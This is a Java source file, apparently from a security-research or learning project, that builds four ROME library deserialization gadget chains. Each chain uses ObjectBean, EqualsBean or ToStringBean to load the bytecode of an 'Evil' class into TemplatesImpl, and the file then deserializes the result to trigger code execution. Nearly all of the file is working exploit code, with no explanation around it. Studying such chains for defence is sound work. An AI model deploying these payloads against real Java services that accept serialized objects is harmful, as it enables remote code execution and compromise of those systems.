1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
| package org.example.deserialize.rome;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import org.example.deserialize.commonscollections.Evil;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
public class RomeNormal {
public static void main(String[] args) throws Exception {
RomeNormal romeNormal = new RomeNormal();
HashMap hashMap = romeNormal.payload1();
Hashtable hashtable = romeNormal.payload2();
BadAttributeValueExpException badAttributeValueExpException = romeNormal.payload3();
HashMap hashMap1 = romeNormal.payload4();
try {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(hashMap1);
System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()).length());
outputStream.flush();
outputStream.close();
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream inputStream = new ObjectInputStream(byteArrayInputStream);
inputStream.readObject();
inputStream.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
public Templates getTemplates() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evil.class.getName());
byte[] code = clazz.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_name", "Evil");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
public HashMap payload1() throws Exception {
ObjectBean objectBean = new ObjectBean(Templates.class, getTemplates());
ObjectBean objectBean1 = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "1"));
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(objectBean1, null);
setFieldValue(objectBean1, "_equalsBean", new EqualsBean(ObjectBean.class, objectBean));
return hashMap;
}
public Hashtable payload2() throws Exception {
ObjectBean objectBean = new ObjectBean(Templates.class, getTemplates());
ObjectBean objectBean1 = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "1"));
Hashtable<Object, Object> hashtable = new Hashtable<>();
hashtable.put(objectBean1, 1);
setFieldValue(objectBean1, "_equalsBean", new EqualsBean(ObjectBean.class, objectBean));
return hashtable;
}
public BadAttributeValueExpException payload3() throws Exception {
ObjectBean objectBean = new ObjectBean(Templates.class, getTemplates());
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException, "val", objectBean);
return badAttributeValueExpException;
}
public HashMap payload4() throws Exception {
ToStringBean toStringBean = new ToStringBean(Templates.class, getTemplates());
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, new ToStringBean(System.class, "1"));
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(equalsBean, null);
setFieldValue(equalsBean, "_obj", toStringBean);
return hashMap;
}
}
|
